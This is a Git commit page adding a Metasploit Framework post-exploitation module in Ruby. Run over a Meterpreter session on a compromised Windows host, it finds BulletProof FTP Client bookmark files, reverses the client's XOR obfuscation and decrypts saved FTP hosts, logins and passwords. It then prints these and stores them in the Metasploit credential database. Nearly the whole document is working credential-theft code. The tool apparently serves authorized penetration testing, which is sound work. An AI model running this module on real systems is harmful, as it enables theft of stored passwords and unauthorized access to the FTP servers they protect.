Merge branch 'bulletproof_ftp_creds' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-bulletproof_ftp_creds
commit
c1794e9195
|
@ -0,0 +1,308 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
|
||||
'Description' => %q{
|
||||
This module extracts information from BulletProof FTP Bookmarks files and store
|
||||
retrieved credentials in the database.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'juan vazquez'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
class BookmarksParser
|
||||
|
||||
# Array of entries found after parsing a Bookmarks File
|
||||
attr_accessor :entries
|
||||
|
||||
def initialize(contents)
|
||||
@xor_key = nil
|
||||
@contents_bookmark = contents
|
||||
@entries = []
|
||||
end
|
||||
|
||||
def parse_bookmarks
|
||||
if not parse_header
|
||||
return
|
||||
end
|
||||
|
||||
while @contents_bookmark.length > 0
|
||||
parse_entry
|
||||
@contents_bookmark.slice!(0, 25) # 25 null bytes between entries
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def low_dword(value)
|
||||
return Rex::Text.pack_int64le(value).unpack("VV")[0]
|
||||
end
|
||||
|
||||
def high_dword(value)
|
||||
return Rex::Text.pack_int64le(value).unpack("VV")[1]
|
||||
end
|
||||
|
||||
def low_byte(value)
|
||||
return [value].pack("V").unpack("C*")[0]
|
||||
end
|
||||
|
||||
def generate_xor_key
|
||||
# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
|
||||
#.text:007B13C1 mov eax, 100h
|
||||
# ... later
|
||||
#.text:0040381F imul edx, dword_7EF008[ebx], 8088405h
|
||||
#.text:00403829 inc edx
|
||||
#.text:0040382A mov dword_7EF008[ebx], edx
|
||||
#.text:00403830 mul edx
|
||||
temp = @xor_key * 0x8088405
|
||||
temp = low_dword(temp)
|
||||
temp = temp + 1
|
||||
@xor_key = temp
|
||||
result = temp * 0x100
|
||||
result = high_dword(result)
|
||||
result = low_byte(result)
|
||||
return result
|
||||
end
|
||||
|
||||
def decrypt(encrypted)
|
||||
length = encrypted.unpack("C")[0]
|
||||
return "" if length.nil?
|
||||
@xor_key = length
|
||||
encrypted = encrypted[1..length]
|
||||
return "" if encrypted.length != length
|
||||
decrypted = ""
|
||||
encrypted.unpack("C*").each { |byte|
|
||||
key = generate_xor_key
|
||||
decrypted << [byte ^ key].pack("C")
|
||||
}
|
||||
return decrypted
|
||||
end
|
||||
|
||||
def parse_object
|
||||
object_length = @contents_bookmark[0,1].unpack("C")[0]
|
||||
object = @contents_bookmark[0, object_length + 1 ]
|
||||
@contents_bookmark.slice!(0, object_length+1)
|
||||
content = decrypt(object)
|
||||
return content
|
||||
end
|
||||
|
||||
def parse_entry
|
||||
site_name = parse_object
|
||||
site_address = parse_object
|
||||
login = parse_object
|
||||
remote_dir = parse_object
|
||||
local_dir = parse_object
|
||||
port = parse_object
|
||||
password = parse_object
|
||||
|
||||
@entries << {
|
||||
:site_name => site_name,
|
||||
:site_address => site_address,
|
||||
:login => login,
|
||||
:remote_dir => remote_dir,
|
||||
:local_dir => local_dir,
|
||||
:port => port,
|
||||
:password => password
|
||||
}
|
||||
end
|
||||
|
||||
def parse_header
|
||||
signature = parse_object
|
||||
if not signature.eql?("BPSitelist")
|
||||
return false # Error!
|
||||
end
|
||||
|
||||
unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
|
||||
return false unless unknown == "\x01\x00\x00\x00"
|
||||
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def check_installation
|
||||
bullet_reg = "HKCU\\SOFTWARE\\BulletProof Software"
|
||||
bullet_reg_ver = registry_enumkeys("#{bullet_reg}")
|
||||
|
||||
return false if bullet_reg_ver.nil?
|
||||
|
||||
bullet_reg_ver.each { |key|
|
||||
if key =~ /BulletProof FTP Client/
|
||||
return true
|
||||
end
|
||||
}
|
||||
return false
|
||||
end
|
||||
|
||||
def get_bookmarks(path)
|
||||
|
||||
bookmarks = []
|
||||
|
||||
if not directory?(path)
|
||||
return bookmarks
|
||||
end
|
||||
|
||||
session.fs.dir.foreach(path) do |entry|
|
||||
if directory?("#{path}\\#{entry}") and entry != "." and entry != ".."
|
||||
bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
|
||||
elsif entry =~ /bpftp.dat/ and file?("#{path}\\#{entry}")
|
||||
vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
|
||||
bookmarks << "#{path}\\#{entry}"
|
||||
end
|
||||
end
|
||||
return bookmarks
|
||||
end
|
||||
|
||||
def check_bulletproof(user_dir)
|
||||
session.fs.dir.foreach(user_dir) do |dir|
|
||||
if dir =~ /BulletProof Software/
|
||||
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}")
|
||||
return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
def report_findings(entries)
|
||||
|
||||
if session.db_record
|
||||
source_id = session.db_record.id
|
||||
else
|
||||
source_id = nil
|
||||
end
|
||||
|
||||
entries.each{ |entry|
|
||||
@credentials << [
|
||||
entry[:site_name],
|
||||
entry[:site_address],
|
||||
entry[:port],
|
||||
entry[:login],
|
||||
entry[:password],
|
||||
entry[:remote_dir],
|
||||
entry[:local_dir]
|
||||
]
|
||||
|
||||
report_auth_info(
|
||||
:host => entry[:site_address],
|
||||
:port => entry[:port],
|
||||
:proto => 'tcp',
|
||||
:sname => 'ftp',
|
||||
:user => entry[:login],
|
||||
:pass => entry[:password],
|
||||
:ptype => 'password',
|
||||
:source_id => source_id,
|
||||
:source_type => "exploit"
|
||||
)
|
||||
}
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("Checking if BulletProof FTP Client is installed...")
|
||||
if not check_installation
|
||||
print_error("BulletProof FTP Client isn't installed")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Searching BulletProof FTP Client Data directories...")
|
||||
# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
|
||||
profiles = grab_user_profiles()
|
||||
bullet_paths = []
|
||||
profiles.each do |user|
|
||||
next if user['LocalAppData'] == nil
|
||||
bulletproof_dir = check_bulletproof(user['LocalAppData'])
|
||||
bullet_paths << bulletproof_dir if bulletproof_dir
|
||||
end
|
||||
|
||||
print_status("Searching BulletProof FTP Client installation directory...")
|
||||
# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
|
||||
program_files_x86 = expand_path('%ProgramFiles(X86)%')
|
||||
if not program_files_x86.empty? and program_files_x86 !~ /%ProgramFiles\(X86\)%/
|
||||
program_files = program_files_x86 #x64
|
||||
else
|
||||
program_files = expand_path('%ProgramFiles%') #x86
|
||||
end
|
||||
session.fs.dir.foreach(program_files) do |dir|
|
||||
if dir =~ /BulletProof FTP Client/
|
||||
vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
|
||||
bullet_paths << "#{program_files}\\#{dir}"
|
||||
end
|
||||
end
|
||||
|
||||
if bullet_paths.empty?
|
||||
print_error("BulletProof FTP Client directories not found.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Searching for BulletProof FTP Client Bookmarks files...")
|
||||
bookmarks = []
|
||||
bullet_paths.each { |path|
|
||||
bookmarks.concat(get_bookmarks(path))
|
||||
}
|
||||
if bookmarks.empty?
|
||||
print_error("BulletProof FTP Client Bookmarks files not found.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Searching for connections data on BulletProof FTP Client Bookmarks files...")
|
||||
entries = []
|
||||
bookmarks.each { |bookmark|
|
||||
p = BookmarksParser.new(read_file(bookmark))
|
||||
p.parse_bookmarks
|
||||
if p.entries.length > 0
|
||||
entries.concat(p.entries)
|
||||
else
|
||||
vprint_error("Entries not found on #{bookmark}")
|
||||
end
|
||||
}
|
||||
|
||||
if entries.empty?
|
||||
print_error("BulletProof FTP Client Bookmarks not found.")
|
||||
return
|
||||
end
|
||||
|
||||
# Report / Show findings
|
||||
@credentials = Rex::Ui::Text::Table.new(
|
||||
'Header' => "BulletProof FTP Client Bookmarks",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Site Name",
|
||||
"Site Address",
|
||||
"Port",
|
||||
"Login",
|
||||
"Password",
|
||||
"Remote Dir",
|
||||
"Local Dir"
|
||||
])
|
||||
|
||||
report_findings(entries)
|
||||
results = @credentials.to_s
|
||||
|
||||
print_line("\n" + results + "\n")
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue